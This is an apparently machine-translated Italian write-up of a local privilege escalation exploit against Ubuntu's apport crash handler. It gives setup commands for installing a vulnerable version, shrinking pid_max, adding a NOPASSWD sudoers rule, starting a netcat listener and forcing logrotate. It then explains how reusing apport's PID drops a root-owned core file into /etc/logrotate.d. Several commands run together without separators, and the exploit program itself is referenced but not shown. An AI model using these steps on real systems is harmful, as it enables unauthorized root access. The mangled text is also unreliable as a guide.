
race condition in apport porta a escalation locale dei privilegi su Ubuntu
sudo apt-get install apport=2.20.11-0ubuntu27 (qualsiasi versione <= 2.20.11-0ubuntu27.10 è valida, ma devi scaricare il codice sorgente)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/ping in /etc/sudoersulimit -c unlimited; ./exploit/etc/logrotate.d/corenc -lvcp 1234sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf per attivare logrotate immediatamente. (proprio come /etc/cron.daily/logrotate)Apport controlla se il pid è stato riutilizzato, verificando se il tempo di avvio del processo è successivo a quello di apport stesso:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
Ma questo pid potrebbe essere riutilizzato subito dopo l'avvio di apport. In tal caso, get_apport_starttime() == get_process_starttime().
Quindi, puoi far sì che apport generi un core file con -rw------- root:root, se puoi rioccupare questo PID con un altro processo in esecuzione sotto uid==0:
sudo ping 8.8.8.8 con cwd /etc/logrotate.d/. un processo in esecuzione sotto root:root rioccuperà il pid A.